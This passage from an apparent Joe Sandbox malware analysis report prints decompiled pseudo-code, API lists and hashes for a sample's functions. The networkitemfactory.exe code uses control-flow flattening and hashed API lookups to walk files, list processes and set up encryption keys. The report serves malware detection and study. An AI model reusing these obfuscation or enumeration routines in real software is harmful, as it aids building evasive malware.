					_t26 = E0041C670(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E0041C1A5(_a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E0041C924(__esi, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E0041C845(__esi, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x0041c104
0x0041c10a
0x0041c17d
0x00000000
0x0041c111
0x0041c111
0x0041c114
0x0041c12f
0x0041c132
0x0041c152
0x0041c164
0x0041c134
0x0041c134
0x0041c137
0x00000000
0x0041c139
0x0041c14b
0x0041c14b
0x0041c137
0x0041c182
0x0041c186
0x0041c116
0x0041c12e
0x0041c12e
0x0041c114

APIs

__cftof_l.LIBCMT ref: 0041C125

Part of subcall function 0041C845: __fltout2.LIBCMT ref: 0041C86E

__cftog_l.LIBCMT ref: 0041C14B
__cftoe_l.LIBCMT ref: 0041C17D

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 9e2707e79c112db0bd1b87ffd3fb653869e533c69894d3168685ae0c76429fca
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: D4014E7608014ABBCF125E84CC81CEE3F62BB19354B588516FE1858132C23AC9B2AF85

Uniqueness

Uniqueness Score: -1.00%

Function 0041349B, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0041349B(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t24;
				void* _t28;
				intOrPtr* _t40;
				void* _t41;

				_push(0xc);
				_push(0x434708);
				E00406830(__ebx, __edi, __esi);
				_t28 = E00404224();
				_t40 = E0040CFF1(8, 1);
				 *((intOrPtr*)(_t41 - 0x1c)) = _t40;
				if(_t40 != 0) {
					E0040E856(_t28, __edx, 1, _t40, __eflags);
					E0040DCE3(_t28, __edx, 1, _t40, __eflags);
					 *_t40 =  *((intOrPtr*)(_t28 + 0x6c));
					 *((intOrPtr*)(_t40 + 4)) =  *((intOrPtr*)(_t28 + 0x68));
					E00406D5B(0xc);
					 *(_t41 - 4) =  *(_t41 - 4) & 0x00000000;
					E0040E5C7( *_t40);
					 *(_t41 - 4) = 0xfffffffe;
					E00413B6A();
					E00406D5B(0xd);
					 *(_t41 - 4) = 1;
					asm("lock xadd [eax], edi");
					__eflags = 2;
					 *(_t41 - 4) = 0xfffffffe;
					E00413B76();
					_t24 = _t40;
				} else {
					 *((intOrPtr*)(E00403FAC())) = 0xc;
					_t24 = 0;
				}
				return E00406875(_t24);
			}

0x00413ad0
0x00413ad2
0x00413ad7
0x00413ae1
0x00413af0
0x00413af2
0x00413af7
0x00413b08
0x00413b0d
0x00413b15
0x00413b1a
0x00413b1f
0x00413b25
0x00413b2b
0x00413b31
0x00413b38
0x00413b3f
0x00413b45
0x00413b4b
0x00413b4f
0x00413b50
0x00413b57
0x00413b5c
0x00413af9
0x00413afe
0x00413b04
0x00413b04
0x00413b63

APIs

Part of subcall function 00404224: __getptd_noexit.LIBCMT ref: 00404225
Part of subcall function 00404224: __amsg_exit.LIBCMT ref: 00404232

__calloc_crt.LIBCMT ref: 00413AE9

Part of subcall function 0040CFF1: __calloc_impl.LIBCMT ref: 0040D000

__lock.LIBCMT ref: 00413B1F
___addlocaleref.LIBCMT ref: 00413B2B
__lock.LIBCMT ref: 00413B3F

Part of subcall function 00403FAC: __getptd_noexit.LIBCMT ref: 00403FAC

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 48566344ed146de0b8674f4dbf59565948250181c04cde4cea3d311e08d734ea
Instruction ID: 71ee6f97926f3856fb38d8acc99325eff636b6c3a3e39db7baf9f8622fdefe90
Opcode Fuzzy Hash: 48566344ed146de0b8674f4dbf59565948250181c04cde4cea3d311e08d734ea
Instruction Fuzzy Hash: 55019272A05300EBE720FFBB8802B4D77E0AF84725F21815FB055AB2D2DA7C5A41DA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004013C0, Relevance: 6.0, APIs: 4, Instructions: 45
windowCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E004013C0(void* __ecx, char _a4) {
				signed int _v8;
				struct tagRECT _v24;
				void* __esi;
				signed int _t10;
				char _t12;
				intOrPtr _t17;
				struct HWND__* _t18;
				void* _t21;
				void* _t25;
				void* _t26;
				void* _t27;
				signed int _t28;

				_t10 =  *0x435040; // 0x4b97bcea
				_v8 = _t10 ^ _t28;
				_t12 = _a4;
				_t27 = __ecx;
				 *((char*)(__ecx + 0x1c)) = _t12;
				if(_t12 != 1) {
					_push(0);
				} else {
					_push(8);
				}
				CheckMenuItem( *(_t27 + 8), 0x8007, ??);
				GetWindowRect(GetDesktopWindow(),  &_v24);
				_t17 = _v24.right;
				_push(0);
				_push(0x15);
				if( *((char*)(_t27 + 0x1c)) != 1) {
					_push(0x60);
					_t18 = _t17 + 0xffffff5a;
				} else {
					_push(0x6f);
					_t18 = _t17 + 0xffffff4b;
				}
				SetWindowPos(0xffffffff, _t18, 0, ??, ??, ??, ??);
				return E004023FF(_t21, _v8 ^ _t28, _t25, _t26, _t27,  *((intOrPtr*)(_t27 + 0x18)));
			}

0x004013c6
0x004013cd
0x004013d0
0x004013d4
0x004013d6
0x004013db
0x004013e1
0x004013dd
0x004013dd
0x004013dd
0x004013eb
0x004013fc
0x00401406
0x00401409
0x0040140b
0x0040140d
0x00401418
0x0040141a
0x0040140f
0x0040140f
0x00401411
0x00401411
0x00401427
0x0040143b

APIs

CheckMenuItem.USER32(?,00008007,00000000), ref: 004013EB
GetDesktopWindow.USER32 ref: 004013F5
GetWindowRect.USER32 ref: 004013FC
SetWindowPos.USER32(?,000000FF,?,00000000,00000060,00000015,00000000), ref: 00401427

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: Window$CheckDesktopItemMenuRect
String ID:
API String ID: 2929785785-0
Opcode ID: d7b958e3aee06e6d16f74cefa40718701726e5fac4f80c110971a0d47a9ed7f9
Instruction ID: 4ec6a214ad47736028020126bdc7e96f7facac43f8b83d50418b479398a935c3
Opcode Fuzzy Hash: d7b958e3aee06e6d16f74cefa40718701726e5fac4f80c110971a0d47a9ed7f9
Instruction Fuzzy Hash: B1017031544708BBDB109F78DC05F5B77B4AF14310F1047B5F641BA1F1C6B599059B58

Uniqueness

Uniqueness Score: -1.00%

Function 004017C0, Relevance: 6.0, APIs: 4, Instructions: 41
timeCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E004017C0(void* __ecx) {
				signed int _v8;
				struct tagRECT _v24;
				void* __esi;
				signed int _t8;
				intOrPtr _t13;
				struct HWND__* _t14;
				void* _t19;
				void* _t23;
				void* _t24;
				void* _t25;
				signed int _t26;

				_t8 =  *0x435040; // 0x4b97bcea
				_v8 = _t8 ^ _t26;
				_t25 = __ecx;
				GetWindowRect(GetDesktopWindow(),  &_v24);
				_t13 = _v24.right;
				_push(0);
				_push(0x15);
				if( *((char*)(_t25 + 0x1c)) != 1) {
					_push(0x60);
					_t14 = _t13 + 0xffffff5a;
				} else {
					_push(0x6f);
					_t14 = _t13 + 0xffffff4b;
				}
				SetWindowPos(0xffffffff, _t14, 0, ??, ??, ??, ??);
				SetTimer( *(_t25 + 0x18), 0x4b0, 0x1f4, 0);
				return E004023FF(_t19, _v8 ^ _t26, _t23, _t24, _t25,  *(_t25 + 0x18));
			}

0x004017c6
0x004017cd
0x004017d4
0x004017de
0x004017e8
0x004017eb
0x004017ed
0x004017ef
0x004017fa
0x004017fc
0x004017f1
0x004017f1
0x004017f3
0x004017f3
0x00401809
0x0040181e
0x00401834

APIs

GetDesktopWindow.USER32 ref: 004017D7
GetWindowRect.USER32 ref: 004017DE
SetWindowPos.USER32(?,000000FF,?,00000000,00000060,00000015,00000000), ref: 00401809
SetTimer.USER32(?,000004B0,000001F4,00000000), ref: 0040181E

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: Window$DesktopRectTimer
String ID:
API String ID: 91234172-0
Opcode ID: 1c68ad366e7c43d19bd62a89e4fa351b2cce032a6b5b0dd0a4360c209e5c7187
Instruction ID: 6b23f4df32dcc82ddab87783e5b9c350f650593cbea79607f5b37a938873731b
Opcode Fuzzy Hash: 1c68ad366e7c43d19bd62a89e4fa351b2cce032a6b5b0dd0a4360c209e5c7187
Instruction Fuzzy Hash: 5801F971A40708BBDB109B74DC0AF6B7774EB04711F1006B9FA12AA1E1DAB5AD049B48

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: networkitemfactory.exe PID: 900 Parent PID: 5968 networkitemfactory.exeCOMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	63.2%
Signature Coverage:	4.1%
Total number of Nodes:	538
Total number of Limit Nodes:	76

Executed Functions

Function 02091030, Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(02094054,02094040), ref: 02091047
GetProcAddress.KERNEL32(00000000), ref: 0209104E

Part of subcall function 02091B30: SetLastError.KERNEL32(0000000D,?,02091070,?,00000040), ref: 02091B3D

SetLastError.KERNEL32(000000C1), ref: 02091096

Memory Dump Source

Source File: 00000004.00000002.518992835.0000000002091000.00000020.00000001.sdmp, Offset: 02091000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2091000_networkitemfactory.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: 3f6b7b31f96435c23d727993a7f66bf6cb5abda991749345d712058cec4bc290
Instruction ID: 0408db81d8efd45901fd97e1a34e29ed1c07ea81d184b2d83fddd33352322e2d
Opcode Fuzzy Hash: 3f6b7b31f96435c23d727993a7f66bf6cb5abda991749345d712058cec4bc290
Instruction Fuzzy Hash: CAF1DAB4E00209EFDB44DF94D994BAEB7B1BF88304F108598E91AAB341D735EA51EF50

Uniqueness

Uniqueness Score: -1.00%

Function 020B3890, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 73%

			E020B3890(void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
				short _v1588;
				intOrPtr _v1590;
				struct _WIN32_FIND_DATAW _v1636;
				void* _v1640;
				intOrPtr _v1652;
				void* __ebx;
				void* __ebp;
				void* _t22;
				intOrPtr* _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				signed int _t34;
				int _t40;
				void* _t44;
				signed int _t48;
				intOrPtr* _t52;
				intOrPtr _t57;
				void* _t58;
				void* _t93;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t97;
				void* _t98;
				void* _t100;

				_t93 = __ecx;
				_t97 = __edx;
				_v1640 = __ecx;
				_t22 = 0x60b2083;
				_t58 = _v1640;
				while(1) {
					L1:
					_t100 = _t22 - 0xd2b506a;
					if(_t100 > 0) {
						break;
					}
					if(_t100 == 0) {
						if( *0x20bde50 == 0) {
							 *0x20bde50 = E020B3DD0(_t58, E020B3E70(0xbb51e2dc), 0x845670b3, _t97);
						}
						_t40 = FindClose(_t58); // executed
						return _t40;
					}
					if(_t22 == 0x14d466) {
						if( *0x20be320 == 0) {
							 *0x20be320 = E020B3DD0(_t58, E020B3E70(0xbb51e2dc), 0xd5cde728, _t97);
						}
						_t44 = FindFirstFileW( &_v524,  &_v1636); // executed
						_t58 = _t44;
						if(_t58 == 0xffffffff) {
							return _t44;
						} else {
							_t22 = 0x635dcc3;
							continue;
						}
					} else {
						if(_t22 == 0x60b2083) {
							_t22 = 0x20f09625;
							continue;
						} else {
							if(_t22 != 0x635dcc3) {
								L27:
								if(_t22 != 0xf0a8a83) {
									continue;
								} else {
									return _t22;
								}
							} else {
								if((_v1636.dwFileAttributes & 0x00000010) == 0) {
									_t48 = _a4( &_v1636, _a8);
									asm("sbb eax, eax");
									_t22 = ( ~_t48 & 0x2a8f2359) + 0xd2b506a;
								} else {
									if(_v1636.cFileName != 0x2e) {
										L12:
										if(_t97 == 0) {
											goto L11;
										} else {
											_t96 = E020B3460(0x20bd310);
											_t52 =  *0x20bdf10;
											if(_t52 == 0) {
												_t52 = E020B3DD0(_t58, E020B3E70(0xe60124ba), 0xec538b3a, _t97);
												 *0x20bdf10 = _t52;
											}
											 *_t52( &_v1044, 0x104, _t96, _t93,  &(_v1636.cFileName));
											E020B3890( &_v1044, _t97, _a4, _a8);
											_t98 = _t98 + 0x1c;
											E020B3400(_t96);
											_t22 = 0x37ba73c3;
										}
									} else {
										_t57 = _v1590;
										if(_t57 == 0 || _t57 == 0x2e && _v1588 == 0) {
											L11:
											_t22 = 0x37ba73c3;
										} else {
											goto L12;
										}
									}
								}
								continue;
							}
						}
					}
					L40:
				}
				if(_t22 == 0x20f09625) {
					_t95 = E020B3460(0x20bd2e0);
					_t24 =  *0x20bdf10;
					if(_t24 == 0) {
						_t24 = E020B3DD0(_t58, E020B3E70(0xe60124ba), 0xec538b3a, _t97);
						 *0x20bdf10 = _t24;
					}
					 *_t24( &_v524, 0x104, _t95, _t93);
					_t26 =  *0x20bddc8;
					_t98 = _t98 + 0x10;
					if(_t26 == 0) {
						_t26 = E020B3DD0(_t58, E020B3E70(0xbb51e2dc), 0x298e8809, _t97);
						 *0x20bddc8 = _t26;
					}
					_t94 =  *_t26();
					_t28 =  *0x20bdbec;
					if(_t28 == 0) {
						_t28 = E020B3DD0(_t58, E020B3E70(0xbb51e2dc), 0x632f374, _t97);
						 *0x20bdbec = _t28;
					}
					 *_t28(_t94, 0, _t95);
					_t93 = _v1652;
					_t22 = 0x14d466;
					goto L1;
				} else {
					if(_t22 != 0x37ba73c3) {
						goto L27;
					} else {
						if( *0x20bdd64 == 0) {
							 *0x20bdd64 = E020B3DD0(_t58, E020B3E70(0xbb51e2dc), 0xf3180d23, _t97);
						}
						_t34 = FindNextFileW(_t58,  &_v1636); // executed
						asm("sbb eax, eax");
						_t22 = ( ~_t34 & 0xf90a8c59) + 0xd2b506a;
						goto L1;
					}
				}
				goto L40;
			}

APIs

FindFirstFileW.KERNELBASE(?,?), ref: 020B39F2
FindNextFileW.KERNELBASE(?,?,00000000,0000BD1A,?,00000001), ref: 020B3A41
FindClose.KERNELBASE(?), ref: 020B3B35

Strings

jP+, xrefs: 020B38B0
., xrefs: 020B38ED

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: .$jP+
API String ID: 3541575487-2294543394
Opcode ID: 62aba54455608884a076cc10aa09650411499db950486a613aee45c2ad6e82b3
Instruction ID: 4920664bef6e13f89de4918a0261ab2e3b851fc73ce3cb483bebd3e1ec39952f
Opcode Fuzzy Hash: 62aba54455608884a076cc10aa09650411499db950486a613aee45c2ad6e82b3
Instruction Fuzzy Hash: 38512474B4830187DB37AB749884AFFB2E6AF85244F3009A9E551C7280EB75DC05AB92

Uniqueness

Uniqueness Score: -1.00%

Function 020B4BF0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E020B4BF0(intOrPtr* __ecx, void* __edx) {
				void* _v556;
				void* _v560;
				void* __ebx;
				void* _t5;
				signed int _t7;
				signed int _t16;
				void* _t20;
				int _t24;
				intOrPtr* _t27;
				void* _t43;
				void* _t44;
				void* _t45;
				void* _t47;

				_t44 = _v560;
				_t27 = __ecx;
				_t43 = __edx;
				_t5 = 0x2261b024;
				goto L1;
				L2:
				if(_t47 == 0) {
					_t16 =  *_t27( &_v556, _t43);
					asm("sbb eax, eax");
					_t5 = ( ~_t16 & 0x14c3842a) + 0x26b28609;
					goto L1;
				} else {
					if(_t5 == 0x20a12e49) {
						if( *0x20bdf9c == 0) {
							 *0x20bdf9c = E020B3DD0(_t27, E020B3E70(0xbb51e2dc), 0xe92cf674, _t45);
						}
						_t20 = CreateToolhelp32Snapshot(2, 0); // executed
						_t44 = _t20;
						if(_t44 == 0xffffffff) {
							return _t20;
						} else {
							_t5 = 0x378cfed1;
							goto L1;
						}
					} else {
						if(_t5 == 0x2261b024) {
							_t5 = 0x20a12e49;
							goto L1;
						} else {
							if(_t5 == 0x26b28609) {
								if( *0x20bde38 == 0) {
									 *0x20bde38 = E020B3DD0(_t27, E020B3E70(0xbb51e2dc), 0x76fc23ac, _t45);
								}
								_t24 = FindCloseChangeNotification(_t44); // executed
								return _t24;
							}
							L6:
							if(_t5 != 0x257c0cd) {
								while(1) {
									L1:
									_t47 = _t5 - 0x286b9323;
									if(_t47 <= 0) {
										goto L2;
									}
									goto L14;
								}
								goto L2;
							} else {
								return _t5;
							}
						}
					}
				}
				L25:
				L14:
				if(_t5 == 0x378cfed1) {
					_v556 = 0x22c;
					if( *0x20bdc08 == 0) {
						 *0x20bdc08 = E020B3DD0(_t27, E020B3E70(0xbb51e2dc), 0x4ea853b9, _t45);
					}
					goto L18;
				} else {
					if(_t5 != 0x3b760a33) {
						goto L6;
					} else {
						if( *0x20be0ec == 0) {
							 *0x20be0ec = E020B3DD0(_t27, E020B3E70(0xbb51e2dc), 0xe0d0695a, _t45);
						}
						L18:
						_t7 = Process32NextW(_t44,  &_v556); // executed
						asm("sbb eax, eax");
						_t5 = ( ~_t7 & 0x01b90d1a) + 0x26b28609;
						goto L1;
					}
				}
				goto L25;
			}

0x020b4bf8
0x020b4bfc
0x020b4bff
0x020b4c01
0x020b4c06
0x020b4c1b
0x020b4c1b
0x020b4c90
0x020b4c94
0x020b4c9b
0x00000000
0x020b4c1d
0x020b4c22
0x020b4c55
0x020b4c6d
0x020b4c6d
0x020b4c76
0x020b4c78
0x020b4c7d
0x020b4d50
0x020b4c83
0x020b4c83
0x00000000
0x020b4c83
0x020b4c24
0x020b4c29
0x020b4c47
0x00000000
0x020b4c2b
0x020b4c30
0x020b4d27
0x020b4d3f
0x020b4d3f
0x020b4d45
0x00000000
0x020b4d45
0x020b4c36
0x020b4c3b
0x020b4c10
0x020b4c10
0x020b4c10
0x020b4c15
0x00000000
0x00000000
0x00000000
0x020b4c15
0x00000000
0x020b4c46
0x020b4c46
0x020b4c46
0x020b4c3b
0x020b4c29
0x020b4c22
0x00000000
0x020b4ca5
0x020b4caa
0x020b4cf7
0x020b4d01
0x020b4d19
0x020b4d19
0x00000000
0x020b4cac
0x020b4cb1
0x00000000
0x020b4cb3
0x020b4cba
0x020b4cd2
0x020b4cd2
0x020b4cd7
0x020b4cdd
0x020b4ce1
0x020b4ce8
0x00000000
0x020b4ce8
0x020b4cb1
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 020B4C76
Process32NextW.KERNEL32(00000000,0000022C), ref: 020B4CDD
FindCloseChangeNotification.KERNELBASE(00000000), ref: 020B4D45

Strings

3v;, xrefs: 020B4CAC

Memory Dump Source

Source File: 00000004.00000002.519092750.00000000020B1000.00000020.00000001.sdmp, Offset: 020B0000, based on PE: true

Associated: 00000004.00000002.519085712.00000000020B0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.519123055.00000000020BD000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20b0000_networkitemfactory.jbxd

Yara matches

Similarity

API ID: ChangeCloseCreateFindNextNotificationProcess32SnapshotToolhelp32
String ID: 3v;
API String ID: 1306606082-102972113
Opcode ID: 89da6cbb59e46b4aea94e84d6eb88fc8b246b1f0c3be1fe9370ae4d8dc0a1f6d
Instruction ID: 301e9fa0ef7bcefebfd5a945c3b5129a419a81fbb961433ee97ff92dcef55ebf
Opcode Fuzzy Hash: 89da6cbb59e46b4aea94e84d6eb88fc8b246b1f0c3be1fe9370ae4d8dc0a1f6d
Instruction Fuzzy Hash: 4A315C31B0030187E7BB9A78A4F53FE61C67F80605F204D36E511C7382E638CE949B62

Uniqueness

Uniqueness Score: -1.00%

Function 020B2580, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 252
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E020B2580(intOrPtr* __ecx) {
				char _v4;
				char _v8;
				intOrPtr _v32;
				intOrPtr _t16;
				intOrPtr* _t20;
				signed int _t21;
				intOrPtr _t23;
				signed int _t25;
				intOrPtr _t28;
				intOrPtr* _t32;
				intOrPtr* _t33;
				intOrPtr* _t35;
				intOrPtr* _t37;
				intOrPtr* _t39;
				signed int _t43;
				intOrPtr* _t49;
				void* _t60;
				intOrPtr* _t62;
				intOrPtr* _t67;
				intOrPtr* _t68;
				intOrPtr _t72;
				intOrPtr* _t79;
				intOrPtr* _t80;
				intOrPtr _t81;
				intOrPtr _t94;
				intOrPtr* _t101;
				intOrPtr _t104;
				intOrPtr _t106;
				intOrPtr* _t109;
				signed int _t110;
				void* _t111;
				void* _t122;
				void* _t124;
				void* _t125;

				_t109 = __ecx;
				_t110 = 0x39e18cdf;
				goto L1;
				do {
					while(1) {
						L1:
						_t124 = _t110 - 0x19e7a79d;
						if(_t124 > 0) {
							break;
						}
						if(_t124 == 0) {
							_t62 =  *0x20be0b4; // 0x0
							__eflags = _t62;
							if(_t62 == 0) {
								_t62 = E020B3DD0(_t60, E020B3E70(0x60f9cb2), 0x4067403f, _t122);
								 *0x20be0b4 = _t62;
							}
							_t16 =  *0x20be360; // 0x53b7e8
							 *_t62( *((intOrPtr*)(_t16 + 0x40)));
							_t110 = 0xfd535c1;
							continue;
						} else {
							_t125 = _t110 - 0xfd535c1;
							if(_t125 > 0) {
								__eflags = _t110 - 0x1099ae2c;
								if(_t110 == 0x1099ae2c) {
									_t20 =  *0x20be0bc;
									__eflags = _t20;
									if(_t20 == 0) {
										_t20 = E020B3DD0(_t60, E020B3E70(0x38d3324d), 0x88c76e62, _t122);
										 *0x20be0bc = _t20;
									}
									_t21 =  *_t20(0x10001, 0x13,  *_t109,  *((intOrPtr*)(_t109 + 4)), 0x8000, 0,  &_v8,  &_v4); // executed
									asm("sbb esi, esi");
									_t110 = ( ~_t21 & 0x0ab70382) + 0xfd535c1;
									continue;
								} else {
									__eflags = _t110 - 0x10ebb7b6;
									if(_t110 != 0x10ebb7b6) {
										goto L32;
									} else {
										_t67 =  *0x20bdf44;
										__eflags = _t67;
										if(_t67 == 0) {
											_t67 = E020B3DD0(_t60, E020B3E70(0x60f9cb2), 0x46e773c, _t122);
											 *0x20bdf44 = _t67;
										}
										_t23 =  *0x20be360; // 0x53b7e8
										_t25 =  *_t67(_t23 + 4, 0, 0, 0x18, 0xf0000040); // executed
										asm("sbb esi, esi");
										_t110 = ( ~_t25 & 0xf09cbf3c) + 0x1ffceef0;
										continue;
									}
								}
							} else {
								if(_t125 == 0) {
									_t68 =  *0x20bddf4; // 0x0
									__eflags = _t68;
									if(_t68 == 0) {
										_t68 = E020B3DD0(_t60, E020B3E70(0x60f9cb2), 0x679ebf5a, _t122);
										 *0x20bddf4 = _t68;
									}
									_t28 =  *0x20be360; // 0x53b7e8
									 *_t68( *((intOrPtr*)(_t28 + 4)), 0);
									_t110 = 0x1ffceef0;
									continue;
								} else {
									if(_t110 == 0xe3d4ee5) {
										_t32 =  *0x20bdfac;
										__eflags = _t32;
										if(_t32 == 0) {
											_t32 = E020B3DD0(_t60, E020B3E70(0x60f9cb2), 0x61646814, _t122);
											 *0x20bdfac = _t32;
										}
										_t94 =  *0x20be360; // 0x53b7e8
										_t2 = _t94 + 0x20; // 0x53b808
										_t33 =  *_t32( *((intOrPtr*)(_t94 + 4)), 0x8004, 0, 0, _t2); // executed
										__eflags = _t33;
										if(_t33 != 0) {
											return 1;
										} else {
											_t110 = 0xea826af;
											continue;
										}
									} else {
										if(_t110 != 0xea826af) {
											goto L32;
										} else {
											_t35 =  *0x20be0b4; // 0x0
											if(_t35 == 0) {
												_t35 = E020B3DD0(_t60, E020B3E70(0x60f9cb2), 0x4067403f, _t122);
												 *0x20be0b4 = _t35;
											}
											_t72 =  *0x20be360; // 0x53b7e8
											 *_t35( *((intOrPtr*)(_t72 + 0x1c)));
											_t110 = 0x19e7a79d;
											continue;
										}
									}
								}
							}
						}
						L52:
					}
					__eflags = _t110 - 0x250df931;
					if(__eflags > 0) {
						__eflags = _t110 - 0x39e18cdf;
						if(_t110 != 0x39e18cdf) {
							goto L32;
						} else {
							_t37 =  *0x20bddc8;
							__eflags = _t37;
							if(_t37 == 0) {
								_t37 = E020B3DD0(_t60, E020B3E70(0xbb51e2dc), 0x298e8809, _t122);
								 *0x20bddc8 = _t37;
							}
							_t111 =  *_t37();
							_t39 =  *0x20bdcf0;
							__eflags = _t39;
							if(_t39 == 0) {
								_t39 = E020B3DD0(_t60, E020B3E70(0xbb51e2dc), 0xc9d236a5, _t122);
								 *0x20bdcf0 = _t39;
							}
							_t101 =  *_t39(_t111, 8, 0x4c);
							 *0x20be360 = _t101;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L51;
							} else {
								_t110 = 0x10ebb7b6;
								goto L1;
							}
						}
					} else {
						if(__eflags == 0) {
							_t79 =  *0x20be0fc;
							__eflags = _t79;
							if(_t79 == 0) {
								_t79 = E020B3DD0(_t60, E020B3E70(0x60f9cb2), 0x7f75d0f1, _t122);
								 *0x20be0fc = _t79;
							}
							_t104 =  *0x20be360; // 0x53b7e8
							_t14 = _t104 + 0x1c; // 0x53b804
							_t43 =  *_t79( *((intOrPtr*)(_t104 + 4)), 0x660e, 1, _t14); // executed
							asm("sbb esi, esi");
							_t110 = ( ~_t43 & 0xf455a748) + 0x19e7a79d;
							goto L1;
						} else {
							__eflags = _t110 - 0x1a8c3943;
							if(_t110 == 0x1a8c3943) {
								_t80 =  *0x20be2ec;
								__eflags = _t80;
								if(_t80 == 0) {
									_t80 = E020B3DD0(_t60, E020B3E70(0x60f9cb2), 0x8b503200, _t122);
									 *0x20be2ec = _t80;
								}
								_t106 =  *0x20be360; // 0x53b7e8
								_t9 = _t106 + 0x40; // 0x53b828
								 *_t80( *((intOrPtr*)(_t106 + 4)), _v8, _v4, 0, 0, _t9); // executed
								asm("sbb esi, esi");
								_t49 =  *0x20bdd70;
								_t110 = (_t110 & 0x1538c370) + 0xfd535c1;
								__eflags = _t49;
								if(_t49 == 0) {
									_t49 = E020B3DD0(_t60, E020B3E70(0xbb51e2dc), 0x5f63df9b, _t122);
									 *0x20bdd70 = _t49;
								}
								 *_t49(_v32);
								goto L32;
							} else {
